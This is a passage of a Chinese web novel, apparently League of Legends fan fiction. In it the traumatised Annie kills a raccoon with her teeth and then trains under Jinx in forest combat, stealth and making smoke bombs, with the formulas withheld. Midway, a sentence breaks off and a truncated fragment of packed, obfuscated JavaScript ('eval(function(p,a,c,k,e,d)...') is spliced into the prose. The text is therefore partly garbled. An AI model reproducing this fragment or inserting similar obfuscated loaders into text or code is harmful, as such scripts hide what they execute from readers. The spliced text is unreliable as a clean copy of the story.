就像那些费尽心思欺骗自己,只为了无尽的贪欲的骗子; 就像那些冠冕堂皇欺负自己,只为了一点食物的魔鬼。 一定要把自己最后的价值榨干,将皮肉,骨头,一点不剩地利用干净,然后毫不留情地毁灭。 浣熊再次冲上来,爪子抓在地面,借力腾空跃起。 心脏急速跳动。 安妮直起腰,扔掉了木棍。 她伸出双手。 利爪这次准确无误地划破了两只手臂,皮肉翻飞,血液溅射出来,烫了安妮一脸。那眼睛似乎也被血液染红,双手却毫不躲避地抓住浣熊脖子下的皮毛,痛楚转化成无尽的力量,牢牢禁锢住浣熊。 就是在这一瞬间,安妮侧身,把浣熊再次按在地上。这一次,她没有躲避,任由爪子撕裂皮肤,后腿抵住坚硬的胸骨。 她猩红了眼睛,张开嘴,俯下身,一口咬住浣熊的脖子。 “吱吱……” 最原始的攻击,不要性命,不顾疼痛。反抗,只有反抗,甚至不是为了活命,只是为了发泄心中压抑的怒气。 杀戮、暴力、血腥…… 一切现实赤裸裸地摆在眼前,而如今,只有一件事摆在眼前。 报复。 我要报复! 不是都要欺骗我吗? 不是都要欺负我吗? 杀! 杀光一切! 嘴下跳动的血管,温热的血液,无不刺激着疯狂的神经系统。亲口撕扯开腥臊的皮肉,将生命一点点瓦解! 血液与毛发塞满安妮的嘴,皮肉崩裂的声音在耳边响起。 “吱吱!吱吱……” 似乎被狂暴的气势压制,也似乎是被这不要命的撕咬吓住,浣熊疯狂挣扎着,那些攻击却只是在安妮身上留下几道毫不致命的伤口。 一口…… 两口…… 血腥味混合在一起。 终于,被疯狂啃咬的浣熊最后扑腾了几下腿,躺在了血泊当中。 安妮仍旧在机械地啃咬着,哪怕嘴里的血液已经变得粘稠,嘴里的浣熊肉已经变得僵硬。 血和泪混杂在一起,不知道嘴里是咸味更多,还是铁锈味更多。 终于,安妮啃咬不动了。眼睛睁得太久,已经难以闭合。牙缝里全是毛发和血液的味道,怎么吐都吐不干净。呼吸仍然很重,一起一伏都牵动着满身伤口。 耳边是机器的轰鸣声,世界好像在旋转。安妮勉强直起身,嘴里黏腻的血液让她忍不住干呕。 “我好像打扰了一只狼崽子捕猎。” 张扬中带着调侃的声音响起,好像来自很远的地方。前面不远处的树枝晃了晃,上面不知何时坐了一个蓝发黑衣的高大女人。 安妮看不清面前的人,她摇摇晃晃站起来,好像又要跌倒。 “资质不错,要不要跟着我学身法?” “……身法?” 如此沙哑的声音,似乎不属于她。 “你刚刚那样的攻击方式,可没法在无妄森林的深处活下去。” “无妄……森林……?” 无妄森林……的深处? 安妮活动僵硬的脖子,慢慢站起身,环顾四周。 是这里……原来这里就是无妄森林的深处…… 安妮看着周围黑漆漆的一切:要吞噬自己的大树,荆棘密布的灌丛,还有让膝盖针扎般难受的野草,随着冷风张牙舞爪的影子,已经死去的浣熊身上的血腥味……阴暗、致命,将恐惧变成装点自己的工具…… 同样都是无妄森林,却是和记忆中截然不同的模样,像极了这个充满无数面的世界。 “看够了吗?你还没回答我,你的选择?” 面前的人坐在树枝上,浣熊的尸体躺在一边。 “学这些,有用么?能……对抗天道吗?” 安妮抿唇一笑,嘴里的血腥味越发浓重,还有咸咸的味道。 是啊,有用么?挣扎了这么久,也不过是苟延残喘。主宰天道?她甚至无法主宰自己的命运。连作为对手出现,都没有机会。 少女似乎有些惊讶,不过很快跟着抿唇一笑“学身法是没法对抗天道,但它可以让你活下去。” 活下去,就有希望。 “……”安妮再次跪下,膝盖又是一阵抽痛,她却没有一丝不愿,“师父。” “别叫我师父!”金克丝立刻不悦起来,干净利落地跳下树枝,像嫌弃浣熊一样嫌弃地看了眼安妮,“弱者,在我面前没有身份。” “是……” 安妮握拳,应声。 她同意。 24. 24 “三……二……一……时间到。” 金克丝从树枝上跳下,端详着气喘吁吁的安妮。 安妮身上很脏。 单薄的衣服上布满泥土,其中夹杂着碎屑和草叶,甚至有什么动物的粪便。不过一会儿功夫,这些污渍已经开始僵硬、结壳,散发出难闻的气味。 “十分钟两公里,成绩不错。” 如果是平坦的大道,那么已经算很慢了,但安妮如今身处危机四伏、崎岖坎坷的森林,有这样的成绩已经足以傲视那些身娇体弱的法师。 可惜也仅限于此了。 “你的成绩?” “三分钟,不能再多了。”金克丝摊摊手,毫不在意自己是否会打击到面前这个小人脆弱的心灵,“你是个法师,就算没有灵力,体质一样废物。” 安妮握拳,知道这个“废物”没有贬义,却更让人不忿。 天道剥夺了她身为法师的灵力,却给她留下了身为法师的缺点。 “这还只是第一步,别那么沮丧,实战有你受的。” 金克丝说话永远张扬又真实,安妮在两天的相处中已然习惯。 “我还差攀爬,训练去了。” “虽然努力没有什么用,但起码你刻苦的精神是值得赞扬的。” 金克丝在安妮身后扬声,不知道是批评还是夸赞。 安妮觉得金克丝有这么一身本事也不是没有原因的。 金克丝给安妮安排的内容很简单粗暴:奔跑、攀爬、躲避、观察。在丛林里,生存依靠力量,更依靠技巧。 依照她的话来说,就是她不希望在还没有到训练实战,安妮就被潜伏的毒蛇一口咬死,或者误入哪只熊的山洞被一巴掌拍死。 安妮觉得她更有可能被这个毒舌气死。 打击人在金克丝身上就像呼吸空气一样简单,脱口而出的讽刺挖苦能伴随着每天的日出日落循环却不重复。一开始安妮或许还会认真思考,感到自卑和焦虑,时间长了,她也只当这是金克丝在给建议了。 毕竟谁也不想在一次又一次尝试后还被揭露得体无完肤。 训练是长久的,时间在森林里显得可有可无。也不知道过去了多久,在安妮更换了无数件衣服后,金克丝终于告诉她,第二天要开启实战了。 那是她难得温和的时刻,火光照在她的脸上,把眼睛底下的雀斑照得一清二楚。长长的天蓝色辫子让她看起来有种别样的活力,以及叛逆。安妮不知道金克丝多少岁了,但她总觉得按照年龄来看,应该叫金克丝姐姐。 “小屁孩,观察和躲避是实战里和力量一样重要的东西,察觉到敌人,和不被敌人察觉,是提升力量的利器,所以实战要注意打拉扯——懂不懂拉扯什么意思?” “大概明白。” “那就权当你知道吧。还有观察,如果能够探查到敌人的弱点,那就可以找机会一击毙命,同时也要当心别人卖破绽——这个懂么?” “不知道。” 破绽还能卖? “也就是别人故意假装自己有哪方面的缺点或者在哪里大意了,吸引你去攻击那一处,趁机反击。比如说,我告诉你我不擅长肉搏,那如果你放下法杖和我近身对抗,你就被我骗到了。” 安妮若有所思地点点头。这些是光明学院的比赛场上看不到,也学习不到的东西。 “好了,洗洗睡吧,我困了。” 金克丝一跃跳上身后的大树,留下安妮在火堆边沉思。 忽明忽暗的眼神。 “看到前面的兔子了吗?” “看到了。” 但是她不是都抓了好几次兔子了吗? “那看到兔子前面的獾了吗?” 安妮心里咯噔一下。 “没有。” 她定睛往兔子周围看去。高大的灌木丛遮挡住了视线,茂密的树叶甚至遮盖了光线。安妮眯起眼睛,目光在地上露出的缝隙里逡巡。 突然,靠近地面的树枝响动了几声。安妮还没看见什么,兔子就先一步敏感地跑起来。然而灌木丛上方一个黑色的身影窜出,迅速扑到了兔子身上。就是这么几秒的功夫,黑色覆盖住白色,兔子凄厉地尖叫两声,蹬蹬腿没了呼吸。 安妮这才看清楚那只黑色的獾竟然直接咬住了兔子的脖子,那嘴上还残留着动脉里喷涌出的鲜血。 像极了那天的自己。 “捕猎讲究快准狠——吓人么?” 安妮摇了摇头,目送獾叼着兔子钻进灌丛。 “该你了,”金克丝扬扬头,“前面不远处有个沙獾的窝,怎么做不需要我说了吧?” “嗯。” 安妮点点头,顺着金克丝指着的方向走去。 金克丝叼着一根狗尾巴草跟在后面,那步伐轻盈敏捷,几乎悄无声息。 沙獾的窝并不难找,至少被金克丝训练出火眼金睛的安妮很快就看见了。她并没有莽撞地上前挑衅,而是先观察了下沙獾的洞口。这个洞口足足有一个篮球大,说明沙獾已经成年,结合如今春季刚过……洞里多半有一只怀孕的母獾。 安妮从包里拿出芭蕉叶包着的新鲜兔子肉扔在洞口的不远处,然后就站在那里静静等待。沙獾果然很快露出棕黄色的头,鼻头翕动,前爪焦躁不安地挠着地面。 它在纠结。 安妮朝扔在地上的兔子肉走去。 沙獾动了。 它快速钻出洞口,往地面上的兔子肉冲去。安妮早有预料,没有管暴起的沙獾,而是先一步抢占住了沙獾和洞口之间的道路。 这是宣战的标志。 沙獾叼着肉,眼睛闪了几下,接着把肉放在一边,龇着牙伏低身子作威胁状。 安妮听着沙獾“呼噜噜”的声音,知道它进入了戒备状态。 安妮的武器是那根熟悉的木棍,两臂长,手腕粗,拿起来不轻不重刚刚好。她先是试探性地朝沙獾猛然敲击了一下。沙獾立刻往左跳开,一跃居然有半米高。 被安妮的攻击激怒,沙獾跳入左边的灌丛后,声音急速逼近。安妮知道它会主动发起攻击,辨别了位置后往后撤退,同时两手持棍在身前左右挥舞。棍子打击到□□,安妮的虎口一震。 好有力的肌肉! 沙獾被打开,吼叫一声,又钻进了灌丛。安妮立刻竖耳聆听,同时紧紧捏着木棍,随时准备格挡。树林里却突然变得十分静谧,只剩下丁点风声摩擦树叶。 “嘭!” 右边! “沙沙……” 不对,是左边!安妮立刻转身,左手甩出去一棍,却还是被黑色影子抓到手臂,酥麻刺痛的感觉席卷而来,让安妮头皮发麻。 安妮的右边,一块石头慢慢滚下灌丛。 沙獾狡诈,爱扔身边的东西迷惑敌人。 安妮紧急回忆着金克丝对沙獾的科普。 手还在流血,握住棍子后拉扯撕裂的感觉更加明显,但是安妮不敢懈怠。动静这次来自前方,但安妮没有迎面而上,直接连连倒退。 果然,迎着面门的是一大片灰蒙蒙带着砂砾的泥土。 沙獾想干扰安妮的视线,趁机偷袭,可惜安妮电光火石间还是分辨出了它的伎俩。于是从左侧冲出的棕黄色身影变得十分明显,安妮立刻狠命一击。 “嘭!” “吱吱!” 沙獾被摔打在地上,看着靠近的身影,绝望地闭上了眼睛。 但是安妮没有补刀,反而掏空了口袋,扔出了所有兔子肉。 她只是来训练,不是来杀生的。 何况这只沙獾右腿还有些伤,不然她不会只是受点皮外伤那么简单。 安妮扔了兔子肉,提着木棍转身走了。 突然!身后一阵风急速穿过!安妮后背一凉,冷汗瞬间遍布全身!她正想往前扑倒,沙獾已经叼着兔子肉到了身前。 “咚咚咚!咚咚咚!” 安妮仍旧忍不住四肢发软,呼吸急促。她紧盯着赶上来的沙獾,看见它望了自己一会儿,就朝着另一个之前自己没发现的洞口走去,才长出了一口气。 大意了。 金克丝适时地出现在她身后,不用说,这一次肯定会嘲讽。 只是没想到,金克丝首先说的是表扬的话。 “没想到你还挺有同情心的,”安妮正想谦虚一下,金克丝立马接上,“就是有些泛滥。” “……” “任何时候都不要轻敌,即使是面对你的手下败将。” “明白了。” 安妮这一次应战的是一群硕鼠。 更准确地说,是吃肉的硕鼠。 硕鼠是所有鼠类里最特殊的存在,不仅是因为别的老鼠以植物为主食,它们却倚赖肉类的补给,还因为其他老鼠都不负“胆小如鼠”这个词语,只有硕鼠胆子和体型一样过分地大。 安妮这次倒不是故意要打架,谁让硕鼠居然敢光明正大地来抢食。 硕鼠的爪牙并不锋利,速度相对而言也不是鼠类里最快的,只是胜在群体行动,并且皮糙肉厚,当然,还有鼠类的共同点:能生也能长。 安妮一棍一个,即使没有感觉到手心里的震动,也架不住长时间的挥舞。或许一棍一个并不是个好主意,她也厌倦了乱棍这一种攻击方式。 安妮回忆着阿若盖特打酒桶的方式,试探着双手紧握住横扫一片。阿若盖特在无法揣测到酒桶的攻击方向的时候也喜欢攻击面前的一大片,毕竟自己从来不缺体力和耐力。 这样的方法打单体太过奢侈,打老鼠正好合适。 打群架要多横扫、旋转、来回格挡。 “吱吱!” 这些老鼠也很聪明,见攻击不了,就开始围着安妮,试图咬住她的裤腿、衣袖,阻碍她的行动。安妮知道这样打下去迟早被消耗死。 那该怎么办? 又一棍子挥开一片,安妮突然灵机一动。 她开始在混战中锁定目标。 不是针对谁,而是在攻击时,尽量多地打脑袋! 皮糙肉厚的是肥硕的身体,她就不信这些硕鼠不怕她打脑袋。 果不其然,打在硕鼠的身体上反弹震颤的感觉十分强烈,但是打的脑袋多了,增加的只有骨骼碎裂的声音。 还有硕鼠的惨叫! 安妮找到诀窍,一棍子下去就是一片,并且这一次硕鼠还没办法立刻退下替换位置,然后养精蓄锐继续参战。 眼看着倒在地上的硕鼠越来越多,后面突然传出来一声悠长尖细的喊叫。就见原本还冲锋陷阵着的硕鼠们立刻如潮水般退去,能跑的跑走,能拖的拖走,带不走的放弃,很快,只剩现场一片狼藉。 安妮对着地上的硕鼠补了几棍,确认没有隐患后,才一屁股坐到地上调整着呼吸。 “硕鼠吃的东西好,细菌也少,你把头烂的扔掉,剩下的烤了吧。”金克丝扔出一瓶药,安妮接住,“遇到不严重的伤口就吃这个,有些你可能自己看不见。” “谢谢。” “举手之劳~” 金克丝跳上树,把手枕在脑后,等安妮坐在树下涂药吃药。 “师父……” “叫我金克丝。” 无奈又有些傲娇的回答。 “金克丝……那个,我要怎么报答你?” “报答我?”金克丝似乎听见了什么了不得的笑话,声音都拔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“其实这次你倒不需要太沮丧,因为很多东西缺的只是经验。这些伎俩用一次奏效也就完了,仅此而已。在一次之后,它们就该死光光了——早死晚死没什么区别,如果中间的时差只有几分钟的话。” “可是万一我被一击毙命了呢?” 就像曾经的我一样,那么天真,自以为是,最后被层层欺骗送入深渊,至今无法翻身。 “那就不要给这种被欺骗的机会。” 哪有那么容易…… “喂,有没有人给你提过什么意见?” “意见?” 有人给她提过意见吗?应该没有。 她听的只有建议,欺骗的建议、委婉的建议、温柔的建议,明明只是建议,却往往让她情不自禁地去做。 因为建议就足够支配她。 “比如说,让你把身上的负面因子收一收。” “没有。” “啧啧啧,难以置信,”金克丝上下打量着安妮,是放肆的眼神,“看看你自己,永远轻言细语的回答,总是颤抖着握紧又松开的双手,投向地面投向花草投向空气就是不投向面对的人的眼睛的目光,还有一丝一缕都缠绕着焦躁不安悲痛欲绝的头发……如果没有看到你在濒死的关头反击的狠劲,我一定会认为你是某个贵族培养出来的宠物。” 这话不可不谓诛心,然而安妮只是垂着头,默认了。 “我不信你一开始就是这样的,告诉我在某一个时间段之前——你还挺胸抬头的那个时候,是多久以前了?” 多久以前了? 安妮不知道。 “别一副可怜兮兮被谁欺负了的模样,那是我在最弱小时麻痹对手的办法。” 安妮眨了眨眼睛,却阻止不了自己的失态。 “好吧,我救不了你……或许只有基兰才是那个能够拯救一切的人。” “基兰?” “那是我的恩人——你以后会知道的。” 安妮难得看见金克丝这样严肃的模样,顿时对基兰产生了好奇,可惜金克丝并不愿意多说。 “明天开始,教你使用远程武器。” 金克丝一如既往地安排好任务,安妮知道她要告别自己的那根木棍了。 “小屁孩,法师要么空手,要么都是使用法杖,你有自己的武器吗?” 当然没有。安妮摇头,金克丝却一副对此很感兴趣的样子,让安妮十分不解。 “听说每个人其实都有适合自己的趁手武器,就像自己天生具有的灵力天赋一样需要挖掘,我挺好奇你会匹配什么武器。” 这有什么可好奇的吗?疯子的思维也许真的和正常人不一样吧? 安妮在心里琢磨着,不知道金克丝更好奇的是安妮找到自己的本命武器后会成为什么样子。 “你的武器是什么?” “你想看吗?” 想。 金克丝站起身,笑得很得意:“当心,别被吓到了!” 她挺起腰,拍拍手,接着将右手腕上的一个东西取下,扔在了地上。就见地上如同被播撒下了一颗机械种子一样,开始膨胀,蔓延,越长越大,越长越高……金属的光泽在森林里显得冰冷闪耀,暗金色的纹路又增添了一丝神秘。 终于,武器自行拼凑好了。金克丝倚靠在上面,高度正好合适。安妮惊呆了:这是一个足足有一米多高的巨型炮。那炮口都有一个篮球大小了。 “你应该在圣城听说过我的名号才对。” 安妮愣了愣,很快想起来了拉缇口中那只“老鼠”。当初在悦来客栈,她听到过最多的消息,除了艾德文特的辉煌事迹,就是卡伊特始终抓不到的罪犯最近又干了什么令人头疼的事。 而那个罪犯,自然是…… “爆裂女枪,金克丝。” “看来我还不算籍籍无名嘛。” 金克丝吹了吹刘海,很满意这个称呼。 当然不算籍籍无名,毕竟这可是凭借一己之力全灭了一个贵族世家,并且在之后闹得路西瑞满城风雨还不曾被卡伊特逮捕的人。 25. 25 “我也不知道我到底需要什么武器。” 以前都是用冰灵力凝结成鱼叉抓鱼,或者做成冰刀砍树枝,总之怎么方便怎么来,她从未思考过自己需要什么武器。尤其是,她曾经还是个法师——法师的武器很少见,百分之九十都是自带能力和法杖配合使用。 其实她现在也是。 “让我想想……或许你不需要这么纠结——就你这个身高其实没有多少合适的东西。” 安妮就知道金克丝绝对不会安慰她。 “你喜欢什么样的武器,远程还是近战?或者说都可以?还有,材质、样式、大小……唉,真麻烦,还是我的炮简单。” 也很粗暴……反正安妮相信金克丝要是在无妄森林走火,那绝对是个悲伤的故事。 “我觉得近战远程都行的好一点吧,但真的存在这样的武器吗?” “当然有,除了回旋镖以外……你应该知道悦来客栈的阿若盖特吧?” 对啊,她怎么忘了阿若盖特那五把能到处乱飞的刀! 但阿若盖特好像是法武双修才做到的…… 她现在不也是吗?——但好像目前来看她的灵力并不足以支撑她使用这样的武器。 “看来恢复你的灵力也是一件要紧事,不过在此之前,你需要做的是学会我教的东西,我可不喜欢半途而废。” 安妮本来就对恢复灵力不抱希望,或者说暂时放下了这样的想法,自然赞同了金克丝。 “既然如此,那就学点通用的东西吧,爆裂弹、烟雾弹、□□……这些感兴趣吗?” “当然!” 爆裂弹,顾名思义,破坏力极强,主要用来攻击,同时炸药成分比较集中,不容易引发森林火灾。 烟雾弹,可以迷惑敌人视野,隐藏自己的身形,进可攻退可守,组合使用效果绝佳。 □□,同样适用于大面积攻击,无论是攻击还是逃跑都能先手。 安妮在理论课上了解过这些东西,但仅仅是了解,因为禁止法武双修,很多时候他们只能看着物理理论书上的各种精美武器眼馋。 没想到自己也有一天可以制作和使用它们! 但条件这么简陋的森林,能制作这些东西吗? 安妮刚刚露出怀疑的目光,就被金克丝的挑眉止住了。过了这么久时间,她都快忘记金克丝是个多传奇的人物了。 “我带了原材料,但是制作爆裂弹也不容易,你应该知道配方不对的后果。” “伤敌一千自损八百。” “引火烧身,差不多是这个道理。我有具体的配方,就不给你浪费了,但是别的东西需要你自己摸索。你猜猜烟雾弹和□□都是什么做的?” “烟雾弹是火山石灰,□□是辣椒粉。” “你现在这样子还真是让人讨厌。” “?” 安妮歪头,疑惑。 “像极了一群念旧经的卫道士。” 那确实挺让人讨厌。 “不要一本正经地背课文,我没念过几年书,但也知道你这个回答有多官方。” 是了,疯子从来不喜欢循规蹈矩。 “那……砂石?” “还算开窍,不过还不够。” 金克丝跳下树枝,转了一圈,手里不知道什么时候多了几朵花。 她把花捏碎,一股强烈的刺鼻气味立刻弥漫开来。安妮皱紧眉头,捏住鼻子,使劲扇着面前的空气。 “臭屁花。” “这应该不是你们课本上的学名。” “咳咳……是我取的。”安妮红了脸,“小时候特别喜欢给无妄森林里的动植物取一些奇奇怪怪的名字。” 安妮看见金克丝这次带着惊讶地挑了挑眉。 “你知道?那你应该也知道将军草、含羞草、蒲公英、黄灯笼花等等?” “知道,还有彩旗鱼,锦冠鸡……怎么了?” “你不会只知道它们好不好吃吧?” 金克丝戏谑地笑了笑,安妮很没出息地点头承认了。 她最多还知道拿将军草可以编东西。 “啧啧啧……”金克丝摇了摇头,有些恨铁不成钢,“还没反应过来吗?战斗中的任何一点信息都有可能扭转局势。” 难道这些信息也可以用在战斗里? 将军草韧性很强,有长有短,一年四季随处可见;含羞草叶子宽大,碰一下会迅速收缩;蒲公英好像有药用价值,一吹就散很好播种,也好养活;黄灯笼花因为夜晚有微弱的亮光得名,即使被摘下也可以亮一晚上…… 这些植物可以拿来作战…… “做麻绳,鞭子?还有含羞草可以遮挡视野……” 如果她能够做到一动不动的话。 “还算有点悟性。曾经我借助蒲公英扰乱视线,跑出过卡伊特的包围圈。” 天呐…… 高手过招,果然全是技巧和计谋。 “现在知道烟雾弹和□□的原材料了吧?自己去做吧,我要在明天看到成果。” 安妮知道这是要出去搞事的信号,毕竟已经沉寂了一个月,她自己都不敢相信金克丝忍了那么久。 当然,或许这些动植物还有别的效用,不过金克丝不需要全部仔细说明。 既有配方,又有金克丝留下的火药,安妮不过失败了一两次就制作好了爆裂弹。烟雾弹和□□的原材料来自森林,稍微费了点功夫,但一切都还顺利。 她的目标不是这个。 她想在第二天制作好爆裂弹和烟雾弹的合体版。 作战的时候精准也是必不可少的,同时扔两个弹丸不仅会因为重量,方向,起始位置等等的偏差有所分离,还可能因为成分的排斥让效果大打折扣,起码安妮就发现臭屁花的花粉做的□□不能和爆裂弹一起使用,地上的沙土做的烟雾弹范围小而且很重。 她把这些发现告诉了傍晚回来的金克丝,收获了难得的称赞——如果“你居然知道思考这些”也算的话。 “这些问题我早就想过了,不过还是要你自己解决比较好。希望你后天做出来的东西材质和我的一样。” “我会的。” 安妮勾唇一笑,信心满满。 “要是你能一直保持这个模样,或许我会觉得你有做我徒弟的资质。” 安妮的笑停滞了。 有那么一秒,她呆住了。 是了,好像自从拜师金克丝以后,她胡思乱想的时间越来越少了。也许是没有那么多时间,也许是知道这些内容根本没有与天道抗衡的可能,她学起来居然没有了一点负担。 当一个人的目的只是活着的时候,一切好像会变得前所未有的轻松。 安妮不知道这句话是不是对的,也许以后她会推翻这个结论,但在此刻,她忽然感觉到一种力量。 很陌生的力量。 她现在只是一个渴望在森林里活下去的人。 “嘭!” 烟雾弥漫,草丛中升腾起灰蒙蒙的尘土,幽深的绿色也变得模糊起来。 安妮大概估算了一下烟雾弹覆盖的范围和消散的时间,又把手里另一颗小圆球扔了出去。 “啪!” 同样的力量,距离近了一些,炸裂的时候还会溅出黄色的小颗粒。这次的范围小了,消散得也很快。 安妮大概知道制造爆裂弹需要的材料了。 水不能太多,那些河边的,树下的或者草堆里的黄色沙土含有动物的粪便或者各种水分,笨重还容易结块;同时不能有颗粒物,但太细的尘土重量又不够,在爆裂弹火药的威力下消散得很快,遮挡效果也会大打折扣。 这样的沙土在哪里找? 安妮只能想到恕瑞玛沙漠里的沙子,但她也只是认为那里长年光照且干燥,沙子可能会合适,却没有实践过。 书本上的东西真的太少了,如果不是实践,她甚至不知道烟雾弹的主材料为什么最好是火山石灰。 可惜知道了也没用,这里没有火山。 □□显然更容易制作,毕竟刺鼻的植物不少。在又一次捏爆了臭屁花的花籽后,安妮沉思的眼眸闪了闪。 也许她可以学学那些炼丹师和炼药师,先把手头有的东西做个集合,再将各种材料混合在一起,做好每一次记录,而不是这样漫无目的地胡乱制作。 虽然树底下的黄土有些潮湿,但是影响视力的效果显然更好,也不容易被爆裂弹的火光和气流影响。灰土虽然覆盖范围大,又消散得慢,但效果还是不行,太容易被挥开,过轻的重量也使目标难以被瞄准。 比例还需要慢慢试,没准之前被否决的石灰也能派上用场。 但是在此之前她需要找金克丝要点纸和笔。 “要那些东西干嘛?” “我想做实验,记录一下每次的结果,然后慢慢试。” “那你找到什么材料了?” “黄色的沙土,地上的灰土,石灰岩磨成的粉末,还有一些可能用不上的……” “那就够了。”金克丝摆摆手,直接扔了一个纸团给安妮,“知道混合就行了,配方自己拿去吧,我没那么多时间给你浪费。” “就……就这样?” 安妮有些懵。 她展开那张被揉皱的白纸,上面果然是烟雾弹的材料配方。 “那……” “□□自得己做,你应该不需要我给你写一份材料表吧?” 安妮摇头。 为了全面起见,安妮已经试过大大小小十多种材料,酸臭的、刺鼻的、恶心的甚至是过于提神醒脑的都被她一一记下了,只需要看碟下菜,保证能够有效果。 金克丝见安妮没要,点了点头,示意她一边玩去,也没说要检验安妮的成果。 安妮于是带着新出炉的配方继续实验去了。 “等等,还有样东西一起拿去。” “咻——” 又是一个纸团,安妮迅速转身,单手抓住。 金克丝已经离开,只留下一个越来越小的背影。 看来还是不够快……安妮在心里轻叹了口气,打开了金克丝留下的纸团。 解毒植物…… 制毒植物…… 治疗植物…… 陷阱植物…… 看见上面的“麻痹藤”、“霸王花”,安妮知道这是金克丝一笔一划手写出来的——这些植物都不是学名,而是她在闲暇的时候给金克丝介绍的自己取的名字。 锯齿形叶边、带细刺的枝干、层层叠叠的花蕊…… 薄荷叶子原来可以解毒啊……安妮拿出不知道从哪里找到的薄荷叶,清冷到刺鼻的味道让她的眼眶一下子湿润起来。 好像还可以拿来做□□,但是可能只会催泪自己。 叶子中心的翠绿没有他的眼眸半分明亮。 “这是薄荷叶子,不能吃。” 金克丝的声音把安妮拉回现实,她急忙擦了擦眼眶。 安妮的动作很慌乱,让金克丝嘲讽的话卡在了喉咙里。她假装没看见,纵身一跃跳上了安妮面前的树枝。 “如果没事做,就开始下一个训练吧。” “什么训练?” “蹲草丛。” 安妮有些茫然。眼眶周围还有些清凉,她眨了眨眼睛,世界逐渐清晰起来,思路也渐渐开始变得清晰。 “就在你旁边那个草丛里吧,随便什么姿势,你觉得舒服就好。不要坐着,除非你觉得被发现的时候有足够的时间起身。” 安妮会意,检查了一下草丛,然后尽量选择了一个舒服的姿势。 “屏住呼吸,尽量把手放在腰间,放松身体,重心下移,脚部承力。” 安妮按照金克丝的指导慢慢调整。 “好了,就这样蹲着,一个小时。” 一个小时不多不少,但安妮在此之前最多蹲过十分钟。那是她为了抓住兔子才勉强伪装起来的,最后还因为转了转脚踝功亏一篑了。 安妮的视线钉在前方的树上,她知道金克丝在树枝上,但她看不见,甚至感受不到她的存在。 安妮眨了眨眼睛,眼眶周围已经没有了湿润的感觉,取而代之的是沾染上灰尘的黏腻,还有一点睁开闭合时引起的干涩。 她不知道现在该做什么,脑子里被打断的记忆逐渐复苏。 一开始是感觉不到任何不适的,蹲下的时候感到前所未有地轻松,以至于有一种可以坚持很久的错觉。安妮在脑海里回忆了不知道多久,终于被脚踝处传来的一点酸软和无力感拉回现实。 迷茫的眼睛里,挂着冰雪的树枝慢慢舒展,梦境被现实取代。 安妮也不知道自己胡思乱想了些什么,只是感觉脚踝有了反应。是一种像棉花糖一样软软的感觉,她挺熟悉的。 这样的疲惫并不能分走她的太多心神,安妮的记忆再次飘荡到了遥远的童年。 她记得自己曾经也是这样隐藏在草丛里,看着前面的兔子。提伯斯总是比她心急,还不等猎物上钩就直接扑了上去。明明只是一个小玩偶,力气却好像大得吓人,按住兔子就能让它动弹不得。直到有一次它不自量力地跳上一只彩毛鸡的背,被迫拽着它的毛发跑了好大一段路,才消停下来。 但是木木总是沉着的,有时候让她怀疑身后的人是不是睡着了。他一动不动,连呼吸都轻了,一开始安妮还会怀疑地回头,确定他没悄悄走掉,但往往这个时候看上的动物 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这样的无力她从未细细体会过。她的训练总是充斥着汗水,迅速恢复是非常必要的,每一次,她都会在肌肉无力之前感到冰灵力耗尽的疲惫。有时候抬手累了,就放下手换一只,这时候另一只的关节处就会感觉到一瞬间的轻松,那些侵蚀筋骨的无力感如潮水般退去。 物理和法术的训练区别真的很大。安妮无端地开始比对,才发现自己好像不再那么迷茫了。尽管原因可能是训练身法的时间更紧凑,内容也更多,并且趋向□□折磨……总之,你变了。 安妮如是想着,突然不知道曾经在前途迷茫中挣扎的自己究竟有多可笑。她不知道金钱的重要,不知道现实的残酷,不知道未来的挫折,那个时候的自己是多么单纯地烦恼着,尽管那一个烦恼就足够打倒自己。 在光明学院的日子很长,但单一的训练将时光凝缩,她以为唯有陪伴才是永恒,却不知道那只是永恒的欺骗…… “嘶——” 安妮突然在心里倒吸了一口凉气:有什么东西突然刺激到了手腕,一瞬间的疼痛让安妮差点动起来。 安妮用余光瞥了一眼,是一只长嘴蚊。 长嘴蚊是草原和森林里常有的蚊子,爱吸血,因为嘴长得名,春天产卵在浅水里,夏天就能破壳而出,寿命不长,仗在数量多。它们吸血其实影响不大,很多时候被叮咬的人都不会有感觉,但安妮正是一动不动潜伏的时候,对长嘴蚊的到来和停留就格外在意。 安妮在想用什么办法把这只讨厌的蚊子赶走。有的人体质特殊,被蚊虫叮咬后伤口特别容易起痘、发痒,尽管安妮目前并没有这种症状,但她也会长包。 可是长嘴蚊并不会被她一紧一缩的肌肉吓走。 安妮皱眉,还没想出新的对策,那蚊子就飞走了,取而代之的是它原本停留的地方的红色小包。 安妮觉得心里有些郁闷,还没有感觉到那个包引发的痒意,就忽然觉得身上很多地方都痒了起来。有的是皮肤自己引起的,很快就自己消失了,有的看不见,但存在感太过强烈。 安妮抿直了嘴,额头上渐渐出了一身薄汗。她并不热,只是后背因为不同地方的刺激突然发热了一下,然后就是陡然升高的体温。 她拼命忍着,感觉蹲着的脚上好像压着一块大石头,慢慢的脚都变成了石头。酸痛的感觉把肌肉硬化,她好像正踩着两块砖头。安妮猜想,之前动一动或许还可以迅速恢复状态,现在恐怕只能慢慢起身了,否则这几乎成为石块的脚可没办法跑路。 那应该怎么逃走呢? 安妮回想了一下,她不知道。 她只记得自己在两次绝对的实力面前被粉碎的情景。 碾压的疼痛,撕裂了身体,也重创了心脏。剧痛和窒息的悲痛一起传遍全身,然后同时归于平静。 如果金克丝在这里,她会怎么做……安妮猜测她大概会趁着一些自然的动静活动活动,但目前她似乎还没有借助外力掩盖动作,趁机休息的本事。 也不知道树上的金克丝会不会注意到。 安妮最后还是没有动,尽管天人交战了很久。 脚已经焊在了地上,抬起的脚后跟上压着沉重的身体,受力的前脚掌几乎要和抬起的地方断开。另一只完完全全踏在地上的脚也不好受,直直的一条腿变成了直直的树干,整个脚掌都发麻着,好像踩在了钉子上。 安妮还是没有动。她在想着到底还有多久,她在期盼着结束的声音。她已经没有精力东想西想了,她唯一的目标就是坚持下去。 感觉到身体的热量在逐渐超标,安妮瞪大了眼睛,眉毛都拧在了一起。她不知道这是什么阶段,只是这一段时间太过难熬,支撑点越来越低,肌肉越来越麻,下半身好像都不存在了。 安妮看见鼻尖的汗掉下去,感觉瞪久了的眼睛干涩得很。 